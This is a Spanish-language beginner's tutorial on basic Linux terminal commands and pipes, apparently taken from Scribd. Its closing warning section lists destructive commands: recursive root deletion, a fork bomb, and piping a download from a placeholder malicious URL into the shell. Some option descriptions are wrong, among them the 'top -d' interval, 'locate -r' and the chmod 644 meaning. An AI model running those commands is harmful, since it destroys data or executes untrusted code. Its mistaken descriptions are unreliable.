0% encontró este documento útil (0 votos)
8 vistas10 páginas

6-Comandos Basicos

Comandos Basicos

Cargado por

agostina.brange
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
8 vistas10 páginas

6-Comandos Basicos

Comandos Basicos

Cargado por

agostina.brange
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 10

COMANDOS BASICOS

1. Comando ls
El comando ls se utiliza para listar los archivos y directorios que existan dentro de
otro directorio.También se puede combinar con otros parámetros para ver
información adicional, por ejemplo, -l. Ejemplos:
 ls-l
Muestra el listado por columnas y con detalles.
 ls/nombre-directorio
Lista el contenido del directorio indicado.

2. Comando cd
Con el comando cd podemos cambiar el directorio en el que nos encontramos en
la terminal. En un sistema operativo de escritorio, equivaldría a hacer doble click
en una carpeta para abrirla y ver su contenido. Ejemplos:
 cd ..
Subimos directamente un nivel respecto al directorio en el que nos
encontramos.
 cd /nombre-directorio
Abre el directorio especificado en la ruta.

3. Comando pwd
Con el comando pwd podemos ver el nombre del directorio en el que nos
encontramos en la terminal. Sería como preguntar al sistema ¿Dónde estoy?, algo
muy útil en un sistema gestionado desde la línea a de comandos.

4. Comando cat
El comando cat se utiliza, principalmente, para ver el contenido de un archivo o
para crear un archivo en el que poder escribir. Ejemplos:
 cat nombre-archivo.txt
Esto mostrará el contenido del archivo en la terminal.
 cat > nombre-archivo.txt
Al usar > creamos el archivo con el nombre indicado para editarlo y añadir
el texto que queramos.
 cat archivo1 archivo2 > archivo3.txt
Copia el contenido de varios archivos a un tercero.
5. Comando mkdir
El comando mkdir se utiliza para crear los directorios que necesitemos desde la
línea de comandos. Para usarlo debes poner el comando mkdir seguido del
nombre del directorio que quieres crear. También puedes usar / para crear un
directorio dentro de otro directorio. Ejemplos:
 mkdir Directorio1
Esto creará un directorio con el nombre establecido.
 mkdir Directorio1/Directorio2
Esto creará el Directorio2 dentro del Directorio1.

6. Comando rmdir
Si has creado un directorio, también puedes eliminarlo y para esto se utiliza el
comando rmdir.Sólo podrás borrar directorio que no tengan contenido dentro y no
pide confirmación, cuando utilices el comando rmdir, lo borrará. Ejemplos:
 rmdir Directorio1
Elimina el Directorio1, siempre que esté vacío.
 rmdir Directorio1/Directorio2
Borra el Directorio2.

7. Comando touch
El comando touch nos permite crear un documento con el nombre que le
asignemos, listo para su edición. Su uso es muy sencillo, pero recuerda que luego
tienes que añadir el contenido al archivo, no copia ninguna información. Ejemplos:
 touch archivo1.txt
Para crear un archivo simple con el nombre y la extensión que queramos.
 touch archivo1.txt archivo2.txt archivo3.txt
Esto crea todos los archivos que indiquemos de golpe.

8. Comando rm
Si lo que necesitas es borrar un archivo, el comando rm el que tienes que utilizar.
La acción de borrado con rm es irreversible, así que hay que tener precaución con
su uso. Ejemplos:
 rm archivo1.txt
Para el eliminar el archivo indicado totalmente.
 rm -r
Con este modificador se eliminan todos los archivos y subdirectorios.
9. Comando cp
Cuando quieres copiar un archivo dentro de un directorio, puedes hacerlo con
el comando cp. Tan sólo debes indicar el nombre del archivo, dentro del directorio
en el que te encuentres, y la ruta completa del otro directorio. El archivo se copiará
con el mismo nombre.
 cp ejemplo.txt /home/directorio1
Esto copiará el archivo ejemplo.txt en el directorio1.
 cp * home/directorio1
Usando el comodín *, podemos copiar todos los archivos del directorio
actual al directorio indicado (directorio1)

10. Comando sudo


El comando sudo otorga privilegios de SuperUsuario al usuario actual para
realizar tareas puntuales de las que no tiene premisos para hacerlo. Hay que tener
cuidado al usar este comando, ya que se pueden provocar daños irreversibles al
realizar accesiones con permisos de SuperUsuario. Ejemplo:
 sudo apt-get update
Esto actualiza los paquetes del sistema. Si no tienes premisos root y no
usas el comando sudo, no podrías actualizarlo.

11. Comando top


Con el comando top podemos ver una lista con todos los procesos activos que
está ejecutando el sistema. También muestra los consumos de memoria RAM y
CPU y todo en tiempo real. Esta información es muy útil cuando tenemos
problemas de rendimiento en el sistema. Ejemplos:
 top
El comando simple muestra el listado indicado.
 top -d 20
Establecería una frecuencia de refresco de 25 segundos para mostrar el
listado con los resultados.

12. Comando man


Si estás empezando con Linux, posiblemente el comando man sea uno de los que
más uses. Con este comando podemos ver un manual sobre las funciones
disponibles para un comando en concreto. Ejemplo:
 man top
Esto muestra todas las funciones disponibles para el comando top.
13. Comando zip/unzip
Los .zip son muy usados para comprimir y descomprimir archivos y redicir su
tamaño, sobre todo en el entorno Windows. En Linux puedes usar el
comando zip para comprimir un archivo y unzip para descomprimirlo. Ejemplos:
 zip nombre-archivo.pdf
Esto comprime el archivo indicado en .zip.
 zip Ejemplo.zip archivo1.txt archivo2.pdf
Esto comprimiríamos los archivos indicados en un .zip llamado Ejemplo.zip.
 unzip Ejemplo.zip
Para descomprimir el archivo .zip en el directorio en el que nos
encontremos.

14. Comando tar


En el entorno Linux, el comando más habitual para comprimir archivos
es tar.Tiene muchas funciones y posibilidades, lo que lo convierte en una de las
opciones preferidas por los usuarios. Ejemplos:
 tar cvf dcomprimido.tar Directorio1
Esto comprimiría Directorio1 en tar con el nombre dcomprimido.tar.
 tar xvf dcomprimido.tar -C /home/Directorio2
Descomprime el archivo dcomprimido.tar en Directorio2.

15. Comando locate


El comando locate viene de localización y lo podemos utilizar para encontrar un
archivo determinado. La búsqueda la realiza por todo el sistema de archivos, así
que si pones algo muy genérico, la lista de resultados puede ser muy larga.
Ejemplos:
 locate archivo1
Buscará todos los archivos con el texto archive1 en el sistema.
 locate -r archivo1
Hará la búsqueda sin distinguir entre mayúsculas y minúsculas, por lo que
obtendrás resultados de archivo1, Archivo1, arCHIvo2, etc.
16. Comando find
El comando find también se utiliza para encontrar archivos y carpetas, pero
podemos acotar la búsqueda a un directorio específico. Con find también
podemos realizar búsquedas por fecha, tamaño, permisos, etc. Ejemplos:
 find . -name archivo1.txt
De esta forma podemos buscar el archivo1.txt en el directorio actual.
 find . -type f -iname “*.txt”
Con este comando y parámetro encontraremos todos los archivos con
extensión txt del directorio.

17. Comando mv
El comando mv es que que tenemos que utilizar cuando queremos mover un
archivo de sitio, aunque también puedes utilizarlo para cambiar el nombre de un
archivo. Ejemplos:
 mv /Directorio1/archivo1.txt /Directorio2/
Con este comando moveríamos el archivo1.txt del Directorio1 al Directorio2.
 mv /Directorio1/archivo1.txt /Directorio1/archivo2.txt
Y con este comando se cambiaría de nombre el archivo1.txt a archivo2.txt.

18. Comando cp
Si en vez de copiar un archivo queremos copiarlo, el comando que tenemos que
usar es cp.Su uso es similar al comando mv, así que debemos especificar el
archivo seguido del nombre del directorio. Ejemplo:Así copiaríamos archivo1.txt
del directorio actual a Directorio2.
 cp archivo1.txt /Directorio2/
Así copiaríamos archivo1.txt del directorio actual a Directorio2.

19. Comando df
Si necesitas saber el espacio de la unidad de almacenamiento que estás usando,
el comando df te muestra toda la información que necesitas sobre el espacio del
disco.
20. Comando du
Para saber cuánto espacio está ocupando un archivo o un directorio en el sistema,
el comando du te lo indicará. También podemos ver el tamaño de los archivos del
directorio. Ejemplos:
 du -h /Directorio1
Muestra el tamaño de Directorio1 en formato humano (kilobyte, megabyte,
etc.)
 du -a /Directorio1
Con el modificador -a podemos ver el tamaño de los archivos incluidos en
Directorio1

21. Comando chmod


chmod es el comando que utilizamos en Linux para administrar los permisos de
archivos y directorios. Cambiar los permisos de un directorio o archivo de forma
errónea puede causar problemas, así que hay que usarlo con precaución.
Ejemplo:
 chmod 644 archivo1.txt
Establece premisos de lectura y ejecución a propietario del archivo.
También estable permisos de lectura al resto de usuarios.

22. Comando kill


Para cerrar aplicaciones en Linux se usa el comando kill. Si programa no
responde o no lo hace correctamente y tenemos que cerrarlo, kill se encarga de
hacerlo. Ejemplo:
 kill -9 52661
Cancelamos el proceso 52661 con la señal SIGKILL.

23. Comando ping


El comando ping se utiliza para comprobar que un servidor o un sitio web está
conectado a Internet y responde. Puedes usar el comando ping seguido de
cualquier dominio para ver si responde y con qué dirección IP lo hace.
24. Comando grep
El comando grep podemos utilizarlo para encontrar un texto dentro de uno o
varios archivos. Ejemplo:
 grep -w horario /home/archivo1.txt
Buscaríamos la palabra exacta 'horario' dentro de archivo1.

25. Comando wget


Con el comando wget podemos descargar un archivo desde una URL o FTP.
Tiene distintos modificadores con lo convierten en una herramienta muy versátil y
potente para cualquier usuario de Linux. Ejemplos:
 wget https://url-ejemplo.com/archivo1.txt
Descargamos archivo1.txt desde el dominio indicado.
 wget https://url-ejemplo.com/*.txt
Descargamos todos los archivos .txt desde la URL indicada.

Combinación de Comandos en Linux


En Linux puedes combinar diferentes comandos para realizar tareas complejas
de manera eficiente.
Esta técnica, conocida como "piping" o "pipes", permite que la salida de un
comando se convierta en la entrada de otro.

Entender cómo combinar comandos puede abrir un mundo de posibilidades,


simplificando y automatizando tareas que de otra manera serían tediosas.
¿Cómo Funciona?

La combinación de comandos se realiza utilizando el símbolo de pipe (|). Este


símbolo toma la salida del comando a su izquierda y la pasa al comando a su
derecha.
Es como decirle al sistema: "Toma lo que este comando ha hecho y úsalo en el
siguiente".
Ejemplos Prácticos

1. Filtrar Listados: Imagina que quieres listar todos los archivos en un


directorio, pero sólo te interesan los que terminan en .txt. Aquí
combinamos ls con grep:
2. ls | grep ".txt"
Primero, ls lista todos
los archivos y, luego, grep filtra y muestra solo
aquellos que contienen ".txt".
3. Contar Archivos: Si quieres saber cuántos archivos .txt tienes en un
directorio, puedes combinar ls, grep y wc (word count):
4. ls | grep ".txt" | wc -l
Después de filtrar los archivos .txt, wc -l cuenta cuántos hay.
5. Buscar y Ordenar: Supongamos que necesitas encontrar archivos de log y
ordenarlos por tamaño. Podrías usar find, ls y sort:
6. find . -name "*.log" | xargs ls -lh | sort -nk5
Aquí, find busca archivos .log, ls -lh muestra su tamaño de forma legible
y sort -nk5 ordena por el tamaño de archivo.

Combinar comandos es una buena técnica en Linux, especialmente útil para


principiantes que desean realizar tareas complejas de manera sencilla., una vez
conocen los comandos básicos.

A medida que te familiarices con más comandos y sus opciones, podrás crear tus
propias combinaciones para trabajar de manera más eficiente y efectiva.
¡Experimenta y descubre lo que puedes lograr con esta habilidad!
¿Cuáles son los comandos Linux más peligrosos para
novatos?
Como casi todos hoy en día, empezamos a usar un ordenador de con una interfaz
gráfica de usuarios (GUI), como Windows o macOS.
Cuando empiezas a utilizar Linux, aunque también puedes utilizar la GUI, lo más
habitual es que tengas un contacto con la terminal y la línea de comandos.
Aquí te hemos mostrado cuáles son los comandos Linux más básicos que puedes
usar para empezar a usar el la terminal, pero quizás te estás preguntando cuáles
son los comandos Linux más peligros para la integridad de tu sistema.

Para ponerte sobre aviso, vamos a contarte con qué comandos tienes que tener
más cuidado, sobre todo al principio.

 rm –rf * Con esto eliminaremos todos los directorios y subdirectorios, sin


confirmación. El asterisco indica que se haga lo mismo con todo el
directorio.
 rm –rf / Para borrar todo sin confirmación desde el directorio principal (/)
del sistema. Borrar todo..... ya sabes, mucho cuidado.
 :(){ :|: & };: Esto es como una bomba en la que el sistema se llega a saturar
por no poder resolverlo, ya que se repite la función de llamada a los 2
puntos (:) y se vuelve a llamar a la misma función 2 veces más y así
sucesivamente... al final acaba en bloqueo del sistema y un reset forzado
del sistema.
 wget URL_Malicios | sh Ya hemos visto para que sirve wget, pero si añades
la URL con el sh (Shell) se ejecutará directamente. ¿Qué contiene el script
de la URL? Ese es el peligro....
 mv directorio /dev/null /dev/null en Linux es mandar a la basura y borrar,
como mandarlos a la nada. Mover un directorio o archivo a la nada no
parece nada seguro, así que úsalo con "conocimiento de causa"

Conclusiones

Linux, reconocido por su robustez y versatilidad, se ha establecido como


una opción sólida tanto para servidores web como para uso personal.

A través de la terminal, los usuarios pueden acceder a una amplia gama de


funciones que facilitan la administración y personalización del sistema.

Para familiarizarse con los comandos básicos de Linux es un paso importante


para aprovechar al máximo las capacidades del sistema operativo.
A medida que adquieras experiencia, descubrirás que la línea de comandos
puede hacer tu vida mucho más fácil y tu trabajo más eficiente.
Preguntas Frecuentes (FAQ)
 ¿Qué es Linux?

Linux es un sistema operativo ampliamente utilizado en servidores web y


dispositivos personales, conocido por su estabilidad y seguridad.

 ¿Qué son los comandos de Linux?

Son instrucciones que se pueden ingresar en la terminal de Linux para


realizar diversas tareas y administrar el sistema operativo.

 ¿Cómo puedo empezar a usar comandos en Linux?

Puedes comenzar familiarizándote con los comandos básicos listados en


este texto, que te permitirán realizar tareas comunes y administrar tu
sistema.

 ¿Es necesario utilizar la línea de comandos en Linux?

No es estrictamente necesario, ya que muchas distribuciones de Linux


ofrecen una interfaz gráfica de usuario. Sin embargo, usar la línea de
comandos puede ofrecer mayor potencia y versatilidad.

 ¿Qué comando se utiliza para listar archivos y directorios en Linux?

El comando ls se utiliza para listar archivos y directorios en Linux. Puede


ser combinado con varios parámetros para obtener detalles adicionales.

 ¿Cómo puedo crear un directorio en Linux?


Puedes crear un directorio utilizando el comando mkdir seguido del nombre
del directorio que deseas crear.

 ¿Cuáles son algunos comandos peligrosos que deben evitarse como


principiante?
Algunos comandos peligrosos son rm -rf *, rm -rf /, y scripts maliciosos
ejecutados a través de wget URL_Maliciosa | sh. Es vital proceder con
cautela y conocimiento al utilizar comandos que pueden alterar o eliminar
datos de forma irreversible.

También podría gustarte